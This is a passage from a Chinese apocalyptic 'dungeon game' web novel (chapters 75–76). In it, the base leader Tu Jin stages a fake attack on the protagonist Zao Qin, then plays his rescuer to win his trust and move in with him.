枣芩坐在台阶上, 要比他高一点, 他轻而易举就看到了枣芩湿漉漉的眼睫毛, 忍耐着委屈的可怜表情。 胸口冷不防被捂了块湿热的厚重毛巾,闷得他喘不过气来, 难受得想抓又觉得抓也没用。 枣芩的脸被粗粝修长但属于少年人的手抬了抬, 他眨了下眼睛,眼下的泪水被对方用食指背轻拭去。 林里与他对上视线, 又迅速收回手,没头没尾说了句:“对不起。” 枣芩有些迷茫,跟着林里去了他的住处。 林里泡了泡面,他不是个会照顾自己或者照顾别人的人, 末日更顾不上什么健康,只认为泡面比食堂的饭菜好吃多了。 眼眶还红着的枣芩坐在他平时坐的椅子上, 用叉子卷着面条吃,只顾着吃东西,没空说话。 林里坐在他对面,因为枣芩不说话而又捋了把早已凌乱的头发, 结巴着说:“你、你用我的工分好不好, 不会让你挨饿,别难过了。” 枣芩敛着眼摇摇头,他吃上东西就恢复一些状态,其实没那么难过了。 他故作埋怨地哼了声,“我们车里当时有很多东西, 按道理来说,该有我的才对……都被你们拿走了。” 林里手肘放在桌子上,看他表情,放松地笑了下,“那些应该还没搬呢。” 他说着,眼中忽然一亮,“你想要的话,我去偷点出来给你,好不好。” 枣芩吃完泡面拿纸巾擦擦嘴,总体状态还是恹恹的,他可不想让别人因为他冒险,“…那还是算了,到时候你被抓住怎么办。” 这栋楼靠墙,林里这个方位窗外的风景是校外。 往下看,在墙和这栋楼中间的空隙停着好几辆车,枣芩看到了自己坐的那辆,轮胎果然已经被修补好了。他往旁边一扫,目光蓦然停在一辆很眼熟的黑红色的越野车。 枣芩眼睛缓缓睁大,手扶着窗沿,仔细盯着打量。 他不会认错的,这辆车就是追他们的那辆! 两个黑红怪兽重叠在一起。 “林里、”枣芩嘴唇动了动,转头去找林里,他正盯着泡面,好像是准备收拾。 听到枣芩喊他,抬起头,三步并作两步来到他身边。 枣芩立刻指着那辆车问:“那个、我们的车旁边的那辆是谁的啊?好帅呀。” 林里站在他身后,顺着他指的地方低头看去,手指无意识蜷了下,“黑红色那个吗?……是老大的。” “哦,还没见过这种颜色的车呢。”枣芩应了声,转身离开窗前,就近坐在林里没叠被子的床边,心跳如鼓。 他不确定是不是自己阴谋论了,他之前就怀疑大楼倒塌和黑红色的车有一定关系。本来了无人烟、好好的大楼,坍塌后,只有这么一辆车出现在附近。 而现在,他又确确实实感受到自己莫名其妙被针对。 这不是错觉,他抬起视线落到林里身上,不自主抓皱身下的床单。 昨天他主动和林里说了话,具体到每一句他想不起来,只记得很奇怪。他问什么苦不苦、累不累,表情也怪异。 枣芩前几天都过得好好的,却在和林里说过话几个小时后,就被柚子姐告知上面有人找了她,之后枣芩去哪里都是一鼻子灰。 尤其是后厨大叔心虚地说不缺人,真的太明显了。 他瞥了眼拧着眉,盯着窗外不知道在想什么的林里,心里暗暗想:坏人。 他明明还送了他小饼干。 片刻后。 枣芩小声开口:“……你刚刚说,我可以用你的工分,还算数吗?” 看得出枣芩真的不知道该怎么办了,安静坐在他床上,手指搅在一起。 林里应该趁着这时候,提出他们老大说的,问枣芩要不要跟着老大。枣芩会犹豫,会错愕,但最后还是会妥协。毕竟那样才能在这个基地更好的生活下去。 可是他一个字都说不出口,好像变成了哑巴。 他如果说出来,有一天枣芩真的和老大成为那种关系,就有他的一份助力。 他光这么想,就控制不住牙关紧咬,更没法说出来,不然他一定会后悔的。 可他知道就算他不说,那位也不是什么善罢甘休的类型。就像现在,说不准就知道枣芩在他的屋里。 毕竟那位都能提前知道末世,轻而易举杀死一群丧尸,救下他们一众人,甚至炸掉一栋大楼。 林里僵硬张了张嘴。 枣芩拿着工分的票推门而出,嘴唇悄悄勾了下,他拒绝了林里送他回去。 而林里,一直到枣芩离开都没说出口。 林里给枣芩的工分够他什么不干再待一个月,他想明白了,他不能待在这里,他要在一个月之内找到离开的方式,最好能去首城基地。 当时宋呈第一步就决定直接去首城,一定是有他的原因,或许通关的关键就在那里。 枣芩的任务,一个是活下去,另一个就是找到丧尸病毒的源头。 没有宋呈,他又不是不能完成任务。 想到宋呈,枣芩泄了口气,鼻子有点酸,可今天已经哭过一次了,绝不能再哭了。 说好要保护他无痛通关的,现在只留下他一个人被欺负。 还好他识破了这群人虚假伪装。 “说了?”涂晋站在窗前,居高临下眺望着枣芩越来越远的小小身影,对着他的背影,眉梢挑了下。 身后几米外是林里一张紧绷的脸,他生硬道:“他不愿意,他想去外出队。” 涂晋讥诮笑了下,枣芩可能就是有这种怪异魅力,又让一个傻子陷进去了。 他转过身,靠着窗沿,语气散漫透着刺骨冷意,戳破林里话语里的粉饰,“他不愿意还是你没说?” …… 林里沉默几秒,吞咽口水,妄想用伦理道德来打消涂晋的念头,“他背包里有两本结婚证,他结婚了。” “那怎么了?”涂晋乐了。 他觉得宋呈的行为可笑,进到副本就拉着枣芩去办结婚证,明知道这东西对他们玩家来说,根本没半点用。 枣芩也不可能因为这个副本中虚拟的证,就离不开他。 心理安慰是弱者才需要的,还不如直接给枣芩身上加个道具,把他套住。 在要通关吸血鬼副本的时候,宋呈明明还想过这种方式,问枣芩愿不愿意跟他走。 涂晋当时见缝插针,两眼直冒光,给宋呈身上用了个几乎是他用半条命换来的转换道具。等枣芩一同意,枣芩就会成为自己的,和自己绑定。 两人都没想到枣芩没同意,枣芩不是npc,他也是个玩家。 宋呈的道具能回收,涂晋的转换道具却浪费了。 他觉得这或许就是传说中的沉没成本,他不愿意道具白白浪费,所以枣芩必须得是他的。 【这小老弟有点太明显了】 【本来是看涂晋在副本里给其他玩家添乱,找乐子的,现在在看他神经兮兮骗小男生】 【正脸都看不到,搞毛啊。】 【都是新来的吗,他盯上很久了,只是前几个副本没碰着人,他一心想搞绑定玩家的道具,这个副本跟我老婆进来的罢了】 【废话,以前的不是都跑那边去了】 【我回来骂他了,涂晋你手段太下作了!见人,你恶不恶心?你配吗?】 涂晋天生就有搞人心态的爱好,从他喜欢捣乱副本,给其他玩家增加难度就能看出来。 他看着枣芩的身影消失在另一栋楼的入口,收回视线,笑了笑也没因为林里的话和态度而生气。 轻飘飘道:“放心吧,以后他住在我这里,楼上楼下的,你说不定还能听到他的声音。” 林里拳头攥紧,指甲嵌入肉里,手心一阵阵刺痛。 没有工分,枣芩还是经常会去烘焙小屋,没有工分的好处就是想来就来想走就走,陈柚只会欢迎他,开心他来。 他也躲着人,悄咪咪去了停车的地方,趴在窗户上往里看,他们的东西确实还没被搬走。但车门紧紧锁着,车窗玻璃也被换了,钥匙更不知去向。 那辆黑红色的车里什么东西都没有,但靠近看,才发现车身上损坏还挺严重,很多凹陷剐蹭。 褚风受伤了。 枣芩也是吃饭时意外听到的。 身后桌来了几个人,枣芩回头偷看了眼,有两个风尘仆仆,明显刚回来,衣服都没换下。 他们跟其他的人说,今天去了一个居民楼,楼里全是被困住的丧尸,没一个幸存者。虽然去的人多,但依旧有好几个外出队成员受伤了。 枣芩隐约听到了褚风的名字,说他们几个队员回来就被送去治疗了。 外出队危险枣芩是知道的,但没想到褚风身手那么好还会受伤,也不知道严不严重,具体什么情况。 枣芩吃完饭回了烘焙小屋,坐在椅子上喝水,满脑子都是这件事。 他们曾经一起面对危险,褚风还救了他。他当时不会用枪,如果不是褚风及时过来,枣芩说不定就要被丧尸给咬了。 撑着下巴想了好久,枣芩用一下午的时间做了个蛋糕,认真装好,提着它出去。 枣芩感受到了好些人的视线,也装不知道,硬着头皮一直到了楼下。他还不知道褚风住在哪层哪个屋。 只能随机拦住一个人询问,男人个子高挑颀长,嘴角有抹笑,看起来挺友好,“褚风?你们是朋友?” 枣芩犹豫一下,点点头,“对,我们是朋友,我听到他受伤了。” 枣芩提了下蛋糕示意,“我来看他怎么样了。” “噢,是朋友都不知道他住哪层?”对面双臂环胸点点头,有些恶劣地调侃他,“真是好朋友。” 枣芩耳根发红,他怎么遇到个怪人,转身要上楼。 男人眸色带着捉摸不透的笑意,说:“住三楼,好像是左边吧,我不知道。” 说完,他直接拦住一个要上楼的,对方看到他的正脸,反应两秒,眼中惶恐,“老、” “你知道褚风住哪间吗?”他粗长手指按着对方的肩膀,没让人叫出来。 “……三楼左边、尽头。” 枣芩回头看了下两人,圆润弧度的唇抿着并不太开心。听到答案就快速说了句谢谢,匆忙上楼了。 涂晋视线跟着他往上,一直到看不见,还能听到他的脚步声,脚步声都混杂在别的脚步声中分不清了。 涂晋才开口说话,问旁边人,“你觉得他做的蛋糕好吃吗?” 旁边人肩膀生疼,吞咽口水,小心回答:“……不知道,应该好吃吧。” “没吃过还瞎评价。”涂晋抬头看天花板,好像要穿过楼层看到人,忽然自言自语似的,小声说了句,“说不定他往里面弄口水。” “?……” 涂晋忽然快速上楼,目光灼灼,脸上有一种想到有意思想法的兴奋。 男人定在原地,用力回想,自己知道的最近的其他基地在哪里。 这里是个神经病院啊。 第75章 第 75 章 被拖进黑暗的角落…… 敲门听到一声平静的“进来”, 一开门还没看到人,首先就是扑鼻而来的烟味。 枣芩讨厌烟味,后退两步, 才试探着朝里面张望。 屋里灯光明亮, 窗户大敞, 外面是暗蓝天空。 一个光裸宽阔后背的男人面对窗户, 头发看样子刚洗过还没干,手撑在窗台, 白色烟雾从他指尖缭绕升空, 火星闪烁。 看不出什么受伤的迹象。 他转过身,看到某人在门口探着眼睛, 正在严肃地拧着眉上下打量他。 枣芩进去,褚风离开窗边坐在椅子上,枣芩才看到了他受伤的部位。 在没夹烟的另一只手,被豁开一个口子, 并不长。此时已经止血了,但还能看着肉翻着。 两人之间的气氛并称不上好, 谁也没率先开口。在来到这个基地之后,这还是他们第一次见面,也就不到半个月,竟有点陌生意味。 枣芩在食堂刻意寻找过褚风, 都失败了。 枣芩当然找不到, 在一个人有意避开他的情况下。 见不到枣芩本人,顶多也就多惦记几天,时间长了看不到,心中再多的想法肯定也会慢慢淡去,这是最好的做法。 褚风是这么想的。 他想错了, 见到枣芩,他才知道这东西没法淡去。 就像一张纸,上面不断滴水,见时快不见时慢,所以他就以为不见时不滴了。 可当再次见到人,积攒了足够多的水,一下子撑不住,彻底把纸张透裂。 心绪又乱了。 枣芩把蛋糕就近放在桌子上。 褚风抽着烟,视线像舌头般舐过枣芩的手腕。 枣芩不明所以,没来由得颤了下,转身撞上褚风沉沉的眼。 对视几秒,褚风扯了下嘴角,“你是来重新回答那个问题的吗?” 枣芩愣了愣,满脸的无辜,他显然都不知道褚风在说什么。 褚风徒生烦躁,手指碾灭烟头,“我们吃自热火锅的时候我提的。” …… “不是。我就是来看看你受伤严不严重,因为我听到有人说你受伤了。”枣芩连忙解释,他其实有点逃避那个问题,不想说这些。 褚风抬了下手让他看,虽然不开心,但因为枣芩带着关心的话没那么烦躁了,还说了怎么伤的,“不严重,就被铁片划了下,打了破伤风。” 他想抽烟,发现已经被自己灭了。 枣芩干巴巴站在原地,踌躇片刻,硬着头皮说:“那个,你在外出队有人针对你吗?” 又一句关心他的话。 褚风眸光闪动,立马明白了,“你被欺负了?” “还好吧。”话头被引出来,之后的一切就好开口了,“……我是想告诉你,大楼坍塌的那天,你记得跟在我们后面的那辆车吗,我在这个基地看到了那辆车。” 枣芩靠近他两步,满脸的认真,他压低声音,“是这里老大的车!你也觉得楼突然塌了很奇怪吧?那楼里当时没有丧尸了,也没有人,全都走了。只有我们。” 褚风不知道在想什么,神色不动,看着枣芩有点焦急等待他回答的样子,轻描淡写说:“这样啊,你打算怎么做?” 这句话问到了枣芩心坎上了,他把自己的想法说出来,眼中有些期待,“我想离开这里,去首城。” “想让我给你继续给你当保镖。”褚风嘴角有抹笑,但不是善意的,或者说是刻薄的。 枣芩顿住,有些后知后觉看出了他讥诮的态度,没忍住退了半步。 他眨了眨眼睛,咬住嘴唇。 他确实存了自己的心思,但他并没打算强迫褚风,只是在想如果他刚好也想走的话,说不定还可以同行。 现在看来,褚风并没有离开这里的打算。 “……那我先走了。”枣芩颤颤呼出一口气,心里大失所望,肉眼可见地沮丧,转身要走。 身后脚步声跟着,枣芩回头看他,褚风已经套上了件T恤,开口说:“我懒得交朋友,所以我说话直白一点。我在这里挺好的,如果你想让我放下这份安稳,和你去做其他事。” 他目光在枣芩脸上停住,微不可查的紧张,“要么你跟我谈,要么,我们就少有交集,别钓着我,没名没份的,算什么?” 只是要个名分,他就跟枣芩走。 他自己心里其实觉着,对方大概率不会拒绝。但他上一次就吃瘪了,这次也不由得紧张。 可在枣芩耳中,是褚风他在这里生活很安稳,不想离开。如果他跟枣芩走,那就全都是为了枣芩。 压力太大了…… 这种“为了你”。枣芩很担心,遇到了危险后,也是为了你才受伤的。 枣芩本身的意思就是,求个恰好。 褚风知道了这里或许隐藏着一些阴谋,也会和他有共同的方向,两个人都是为了自己,各自不勉强。 枣芩没回答,转身帮他关上门,消失在他视野。 屋内再次剩下他一个人,褚风胸膛重重起伏,表情变了变,转头看向枣芩给他带的蛋糕,几步过去,提起来要扔进垃圾桶。 褚风,果断一点!他完全就想白剽你。 门轻轻被人从外面开了,褚风手指收紧,眉头松开些许,缓缓抬起头。 看到人的瞬间,目光划过丝失望的厌烦,他别开视线。 是隔壁的一个同事。 正贼眉鼠眼,满眼的欣喜,笑了声问:“刚刚从你屋子出去那个,是谁啊?” 褚风把蛋糕放回桌子上,心中无力,盯着上面的淡蓝花朵。 他听说了枣芩在学做蛋糕,现在已经做的跟店里卖的没两样了,他之前没怎么吃过蛋糕。 “之前的雇主。” 同事稍稍松了口气,不是什么恋人就好,他走进来盯着桌子上的蛋糕,“他做的?” 褚风:“对,给我做的,说知道我受伤了。” 这同事跟没听后半句似的,摸了摸后脑勺,“嘿嘿,其实我特别喜欢吃甜的,食堂卖的都抢不到。我用工分跟你换呗,我看你刚才要扔了,还不如卖给我。” 他早就认识枣芩了,知道枣芩在烘焙屋工作,和枣芩也说过两句话。 就在食堂,枣芩说“不要插队”和“谢谢”。 他没想到今天会在住所门口看到枣芩,他话说完抬起头,就见褚风打开盒子,一张嘴咬了一半,要杀了他似的盯着他。 他寒毛直竖,转身急忙出去。 下午的时间短暂,从褚风房间没待多久出来,天就彻底黑了。 枣芩速度不慢,朝家里走着,学校路灯不算亮,路上也没什么人,这个时间大概都在吃晚饭。 凉风一吹,枣芩不由得瑟缩,是时候想办法搞件外套了。 身后不远不近的位置,有一串脚步声,枣芩随意回头瞥了眼,是四五个男人,应该是要结伴去吃饭。 枣芩没在意,摩挲了下自己的胳膊,紧接着,脚步声忽然急促贴近,他还没来得及回头。 一只宽大炙热的手突兀从后面捂住了枣芩的嘴,枣芩一瞬间嗅到香皂清新的味道,可是却怎么也不应该出现在这种情况下。 脑中一片混乱,随后便是铺天盖地的惊恐。 身后的人又拽又抱,力气很大,拖着枣芩要往黑暗的角落里走。 这一切太突然了,枣芩下意识就拼命地挣扎,从喉咙里发出呜咽,“唔……!” 不要! 对方呼吸粗重,直接抱起他,手臂圈着他的大腿,让他大腿前侧和腹部紧贴,几乎彻底桎梏住了枣芩。 眼泪不停往外涌,枣芩被捂着,但没有一刻停止发出声音,他极力让自己保持冷静,手脚并用的挣扎踢打。 对方喘着,全然陌生的男人声音:“快点!” 下一秒,枣芩的小腿被另一个男人死死抓住,动弹不得。 他们几个带着他往角落的黑暗中走,好像一点反抗的余地都没有,一种绝望让枣芩浑身发冷。 为什么会这样? 天旋地转间,对方好像要把他扛在肩上,单手掐着他的大腿,往上抬。 枣芩余光看到一个身影,像是看到救命稻草,他立马挣扎呼喊,企图吸引那人的注意力。 可一切都来不及了,那人似乎没看到他。 枣芩终于双腿着地,可腿有些发软。他被按在粗糙冰冷墙面,还有两个人抓着他的手腕,不让他反抗。 眼泪太多,浸湿了捂脸的男人的手,对方似乎稍微松了点。 好一会过去,他们什么都没有做。 枣芩挣扎幅度变小,只轻轻抽泣,捂着他的男人声音低沉,“不发出声音,同意就点头。” 枣芩颤颤巍巍地点头,眼泪还在掉,简直像个水人。 男人松开手,枣芩也一动不敢动,他现在叫也叫不来人,还会惹怒他们。 几个黑影把他围在中间,无处可逃,黑暗中他看不到任何一张脸,只能看到轮廓。 “你们是谁,我不认识你们,你们、找错人了?”枣芩不觉得自己得罪过什么人,值得把他抓起来。 中间一愣,邪笑起来,“你觉得我们在寻仇?” 枣芩不明白。 下巴尖被手指抬了一下。 他压低声音,在枣芩耳边说了句恶劣下流的话,旁边几个男人也笑起来。 枣芩呆呆滞住,睫毛颤抖个不停,却也因为冷静下来想起了什么, 他手指蜷着,“这个、这个违法的。我有工分,我不要你们的,我可以给你们很多,让你们很久不用工作……” 枣芩吞咽口水,自认为稳住了自己,可泪水还是停不下来。他委屈又生气地在心里和系统说:【系统,你在干什么?说危险来临会自动触发的道具呢?快点啊,快点给我弄走他们。】 【他们似乎没有伤害你的意图。】系统沉默几秒提示说。 枣芩听不懂,只哭,【快点啊,你要看着我在这里被弄吗。】 系统只能说明白,【你别怕,马上有人来了,不会的,相信我。】 男人的头缓慢地朝着枣芩靠近,枣芩别过脸闭上眼睛,紧紧抿着嘴巴。 哪怕闭着眼,他也感觉到面前蓦然亮了。 他颤颤睁开眼,眼周红而湿,从身侧两个男人间的缝隙,看到有人举着手电筒过来了。 “少多管闲事!”最中间的男人恶狠狠喊了声,声线粗大,没再和刚才一样压着声音。 枣芩被他声音吓得肩膀耸了下。 那个路人举着手电筒晃了晃,口中在数数,“五个人,外出队的?” 被说对了,他们明显有些慌,怒不可遏说:“我们把你打死了,都啥事没有哈,你最好现在就滚。” “呀,那真是让人害怕呀,我得就去叫别人了。”他转身要走。 几个男人立马丢下了枣芩,冲了上去,枣芩跌坐在了地上。灯光太刺眼,枣芩什么也没看清,再去看时,眼前的灯光没了。 月色落在地面,只能看到几个混乱的身影轮廓在动。 他们动作幅度大,枣芩呆滞着,听到拳打脚踢的声音,以及一声声沉痛的闷哼。显然他们在围殴那个人。 枣芩慌不择路地在身边寻找武器,就地抓起一个木棍。 他绝不能让救他的人被打,自己却在旁边看着。 枣芩紧紧握着木棍,手控制不住发抖。 混乱中,朝着站着的男人背上猛地打去,连忙好几下,都用了自己最大的力道。 “啊!”被他打的人痛叫了声,一把抓住了木棍。 可很快他又松开了,枣芩再打上去,就是另一个人的叫声了。 枣芩闭着眼胡乱地甩棍子,几乎每一棍都落在了实处,落在了皮肉上。 “嘶,我靠,他不动了,我们快走!” 随着一仓促喊声,杂乱的脚步声愈来愈远。 人都跑没影了,枣芩才睁开眼。 地上躺着的人,此时一动不动。 枣芩手一松,丢下棍子,连忙蹲在地上去摸那人,呼吸错乱地询问:“你感觉怎么样?” 男人呼吸沉重,还能说话但很轻,“没事。” 明明被拳打脚踢怎么可能没事。 枣芩只当他在让自己安心,一只手摸到掉落在地的手电筒,枣芩摸着,将手电筒打开,打算先把男人扶起来带他去看医生。 灯光亮起时,他看到了一张熟悉的脸,愣住了,是今天他问褚风房间,调侃他的那个男人。 此时一张瘦削英俊脸上,青了好大一块,眼睛被灯光刺得眯起来,看起来不太清醒。 居然是他。 枣芩一瞬间后悔自己对这人产生的坏印象。 他艰难把他颀长的身体搀扶起来,男人趴在他伶仃肩头,胳膊没有骨头似的悬着,枣芩整个身体都差点被压倒。 枣芩咬咬牙,稳住身体。 “他们没欺负你吧……”被打的快神志不清了,他却还在问。 枣芩额前出了一层细汗,眼底一热,眼泪又滚落下来。 “没有,你救了我。” “……那就好。”虚弱地说完,他头一歪,整个身体的重量全都压下来。 枣芩被他压倒在地,趴在柔软的肚子上。枣芩小声叫了下,忍不住伸手推男人的脸。 第76章 第 76 章 芩芩金主 坐在医务室的椅子上, 枣芩鼻尖萦绕药膏草木味,疲惫地揉了揉自己的胳膊。 虽然并不是他把男人带过来的。 可他费了好大劲从他身下爬出来。 枣芩也知道自己扛不动他,就踉踉跄跄跑出去叫人, 刚好撞到了褚风和他的几个同事。 并不算很明亮的灯光, 照在突然闯出来的凌乱男生身上。他白色衣服上沾了不少脏灰, 额前的发丝被不知道眼泪还是汗水浸湿一些, 求助地望着他们。 几人如出一辙愣在原地。 只除了褚风,因为枣芩不正常的模样, 脸色骤然剧变。 枣芩也顾不上两人今天闹了不愉快, 手指抓上褚风的袖子,像是终于找到了可以让自己依靠的人, 登时松了口气。 他拉住褚风要往角落离去,“有人晕倒了,褚风,我们、你快帮帮忙把他。” 褚风摸着他的后颈把他抱在怀里, 叫他冷静,让同事帮忙把在地上看不到脸的男人带去医务室。 他自己则极力让自己温和下来, 低头问枣芩发生了什么。才分开这么短的时间,怎么会弄成这个样子。 他不动声色咬着牙,听到枣芩说从他那里出来,被几个男人拉到角落差点强迫时, 再也控制不住表情, 目眦欲裂,阴鸷恐怖得吓人。 不会有人怀疑他能杀人。 枣芩委屈又后怕,垂着眼,没察觉到他的模样。 褚风问他那几个人的具体特征。 枣芩把自己说得上来的都说了,包括男人手中香皂的气味, 以及外出队的线索。 他身体发软,在褚风要背他时,半推半就趴在褚风背上。他的背宽而热,很结实。 褚风背着没什么重量的枣芩,听到他细微的喘气声,把他带到医务室检查,医生说只是受到了惊吓,身体没事,褚风表情才稍微好看些。 褚风和同事本来就是要去开会的,安顿好他后才离开。走前一错不错盯着枣芩,让枣芩要等着他,他有话对他说。 床上男人眼睛紧紧闭着,明明医护人员说并不严重,只是皮外伤,过会会就醒,可他中间醒了一下,就又晕过去了。 枣芩并着膝盖,坐在他床边的椅子,有点昏昏沉沉,捂着唇打了个哈欠。 睁开湿漉漉的眼就看到男人已经坐起来了,正看着他。 枣芩一下清醒,想开口问他怎么样了,有没有哪里不舒服。 男人行动回答了他,曲起在床上憋屈的长腿,起身下了床。 枣芩揉了下眼睛,也下意识跟着站起来。 “你付钱了吗?”男人碰了下脸上的伤口,上面还有枣芩给他涂的白色药膏,粘在了他略粗的手指上。 他没收力,‘嘶’了声。 枣芩顿了下,问到他的盲区了,他也不知道褚风付没付,他自己反正是没付。 枣芩乖乖摇头,“……不知道,不过我朋友应该、” 手腕忽然被一只大手握住,枣芩低头看。 他的手指真的粗长,关节也大,手掌也大,枣芩心里悄悄觉得他的手不太好看。 那只大手自然一滑,牵住了他的手,颜色大小各方面都对比显眼。 枣芩不明所以地抬头。 男人嘴角划过一抹似有若无的笑,但很快消失不见,取而代之的,是脸上表情异常严肃,薄唇紧抿,“那我们得快跑了。” “?为什么啊?” 他对枣芩的疑问置若罔闻,先在门口观察了下外面状况,就带着枣芩往外跑。 两人穿梭在走廊中,像是做贼,遇到医护人员就谨慎地躲在墙后,紧紧贴着墙壁对视。 枣芩胸口起伏喘气,眨着眼睛,满头雾水跟着紧张起来,手心都微微出了汗。 配上男人脸上的伤,和不好好穿的外套,感觉像给不起钱逃单的流氓,还带着一个自己。 “你住哪里?”男人突然问他。 枣芩鼻尖耸了耸,刚被他救,还看着他为自己挨了打,没什么防备心,没思考就听话的告诉他了。 他们从医疗层跑下了楼,穿过操场,顶着秋日凉风,十分顺畅,没停顿一下,回到了枣芩小小的住处。 这里全是枣芩生活的痕迹,温馨的细节,还有他的气味。 涂晋不动声色打量完,喉结往下压了压。 亲自入场果然才是最好的手段。 枣芩站在自己家里,人还是懵的。 他脸色因为运动发白,去倒了杯水喝,要喝之前又觉得不太好。 他这里只有一个小兔杯子。 枣芩没怎么犹豫,转身去给对方,男人已经非常自来熟地坐在了他床上,摇摇头没接,气息平稳也不喘气,像是刚刚和枣芩跑了那么多路的人不是他。 “你叫什么名字?” 枣芩抱着杯子喝了好几口,差点被呛着,才停下,抿抿唇说:“我叫枣芩。” “枣芩。”对面男人又轻又快念了一下。 两个字缠绕在舌尖,甜丝丝的。 他接过枣芩手中的杯子,就着他喝过的位置,视线盯了秒,抬头把他剩下的水一饮而尽。 “你都不问我叫什么吗?” 枣芩只好说:“那你叫什么名字啊?” “涂晋。涂是三点水和余,晋是亚下面日。”他笑起来,脸上的伤口被扯了下,他表情一瞬间古怪起来,但很快压下,接着笑,“记住了吗?” 枣芩点头,并不难记而且有点耳熟。 他看到涂晋的伤上面的药膏已经没了,那支药膏好像没拿回来,还落在医务室。 枣芩表情变了变,直愣愣张开唇,他忘了一件事。 “啊、我还答应了我朋友要等着他呢。” 怎么就回来了呀? 褚风郑重其事,肯定是有重要事情对他说,说不定是有关于离开基地的。 要是褚风去了看到他没在,他的脾气肯定要反悔。 枣芩淡粉色嘴唇蠕动了下,连忙对涂晋说:“我可能得出去了,你要不先回家吧……我明天就去你家里找你,我一定会感谢你的。” 涂晋微挑眉梢,明显发怔,但听了他的话就起身,双手插兜跟在枣芩后头,“嗯。” 枣芩开门立刻要出去,已经关了灯。 身后的涂晋兀自开口了,他说话声音低,枣芩从他语气听出他有些难以启齿, “我没有住的地方,你明天找我,可以到大门口旁边的树下,我会在那里等着你。” 枣芩是急着去,可脚步还是顿住,回头看他被走廊灯光打着的俊朗的轮廓。 怎么会呢? “你没有分到住的地方吗?” “不是。”涂晋垂下视线,“我能不说吗。” 他不想提这件事,表情沉闷。 枣芩迟钝地点点头,想问那他晚上哪里睡觉,哪里工作,又怕戳到他的伤心处。手指蜷起来。 “其实你也不用感谢我,了解我就知道我不是招人喜欢的那种,不然也不会什么工作都找不到,所有人都讨厌我了。” 他侧开枣芩要出去,语气生硬,“算了。你还是别去树下找我了,这两天挺冷的。” 枣芩咬住唇,可能是因为就在前两天,他也面对了这种状况,但起码还比涂晋好点,他还有住的地方。 枣芩抬胳膊去拦他,没拦住,心里禁不住更急。 也是冲动之下才开口:“你等等。你先自己在我这里待……会吧,我去找我朋友,很快回来。” 枣芩看他一副还想走的样子,手拉着他的衣领,涂晋顺着他的力道进了门。 告诉了他东西都放在哪里,饿了可以吃东西,看到涂晋沉默点了头,枣芩才离开,关门前不忘偷偷看眼他的表情。 窗边可以看到枣芩离开的身影,只是这次换了视角。 被枣芩关上的门又开了下,再次关上。 “老大。”被枣芩打过的那几人,此时正坐在涂晋的办公室内,看到他进来起身喊了声。 枣芩看着瘦弱漂亮,打他们也是用了力气的,现在后背脊梁骨都在隐隐作疼。 不过很公平,他们都挨到了。 涂晋视若无睹,径直到抽屉里拿了个小型对讲机,试了试能不能拨通,扔了下接住,漫不经心吩咐,“以后联系我用这个,见到我当不认识。” 他转身要出去,冷不丁又回来,“去说一声,让外出队开会开久点。” 直到见他真这么简单走了,几人才松了口气。老大脸上的伤可是他们打出来的。 今天这活就是吃力不讨好,事办没办好,涂晋都会不顺眼他们。 毕竟是吓唬他未来对象,以及殴打他本人,装都不装,都是真打。 “郑英雄,你能别恶心了吗?你要死?”有人不耐烦又咬牙切齿道。 被叫郑英雄的高大男人是个糙汉子,平日里干什么都是粗线条,此时正用手捂着自己的口鼻在发呆,他们都能猜到他在想什么。 他手心似乎还残留着一些气息,也好像什么都没留下,早就飘走了。 或许只有涂晋这样的地位才能配得上他,郑英雄恍恍惚惚,心中生出了自卑这种幽微的情绪。 他早知道枣芩,他觉得基地没人不知道,只是都不敢去打扰他的生活。 他也是今天才知道自己晚上要做什么。 他觉得自己手脏,平时都干粗活,立马跑去买了块新香皂,认认真真打着泡沫,洗了几次手。 可枣芩永远不会认识他,他们唯一的接触,居然是他扮成歹徒假装要欺负他。 他还对着枣芩说了恶心话,枣芩肯定恨死他了。 郑英雄呼出口气,说了句:“回去了。” 就起身离开了。 枣芩到了医务室都不忘去问了下他们有没有交费,听到褚风交了,觉得他慌里慌张跟着涂晋跑更傻了。 他回到原本那间医务室,坐在床上等褚风,不知道他要说什么,隐隐激动。 或许是因为褚风雇佣兵的身份,再加上进副本开始基本就相伴,又保护他。 褚风对枣芩来说就是会有安全感。 要是可以跟褚风一起走,那就太好了。 等了许久,枣芩决定躺在床上等,褚风都已经交钱了,不躺白不躺。 可躺上去不久,枣芩就不小心睡了过去。再睁眼坐起身,看到窗外大部分灯都灭了,只零零散散有几个亮着。 褚风还没有来。 是不是忘记还有话对他说了。 枣芩穿得单薄,又是刚睡醒来,身上冷得厉害,床上还没有被子。 他打算再等一会,褚风不来他就走了。 一会又一会。 枣芩眼睁睁看着又灭了几家灯,垂着头,不可避免沮丧起来。 一串不急不缓的脚步声响起,越来越近朝着他的方向靠近。枣芩嘴巴一别,从床上下来,小跑到门口,都已经准备好质问褚风了。 却对上了高他一截的涂晋,他表情惊讶观察屋内,“你朋友没来吗?” …… “是你啊。”枣芩声音低低的,“你怎么来了?” 涂晋脱下外套,抖了下,披在枣芩身上,“我都在家等到十二点了,你还不回来,我怕你又遇到事了,就找过来了。” 厚实的外套盖在身上,里面还有来自另一个人身上体温,枣芩暖和起来,呼出口气,“我们走吧,他可能……没开完会吧。” “开会?开到这么晚还是挺奇怪的。”涂晋不甚相信的点了下头,像是想到什么,突然说:“我在窗户看你回来没的时候,看到一群人回去了,好像有你的朋友。” 枣芩抬起头看他,睫毛抖了抖,沉默两秒,“哦,那我们回去吧。” 穿上涂晋的外套,夜晚的冷风都没那么猛烈了。 回到家,枣芩看到地上铺着的床垫被褥,没反应过来愣了下,看向勾着唇角笑的涂晋。 涂晋关上门,说得倒是有理有据,“跟你睡一起不太好,我就去借了个人家闲置的床垫。” 枣芩伫立在原地,在床垫和涂晋之间来回看。 可是他没有让涂晋留下来住啊,他让他留会,给他找个住处来着。 现在涂晋都把床垫枕头都铺放好了,枣芩也不好意思再开口,要不然也太白眼狼了。 枣芩白天打过水,有整整一暖壶。 他在盆里洗了脸,难免浸湿了一些发丝。他脸上沾着水珠也没擦,倒在另一个盆里洗脚。 洗脸盆腾出来让涂晋用,涂晋也没说什么,洗脸搓一把就没了。 之前几天都是自己洗,今天多了一个人盯着,枣芩有点别扭。 偏偏涂晋还在等着他把洗脚盆腾出来,直勾勾地看。 枣芩囫囵洗完,从水里出来,腿脚白的可以看到青紫色脉络,脚趾被泡得发红,往下滴水。 “我好了。”枣芩擦完,缩回自己床上,背对着涂晋。 涂晋坐在他床尾在洗,身形太大存在感也很强。 不过枣芩就不看别人洗脚,他比较有礼貌! 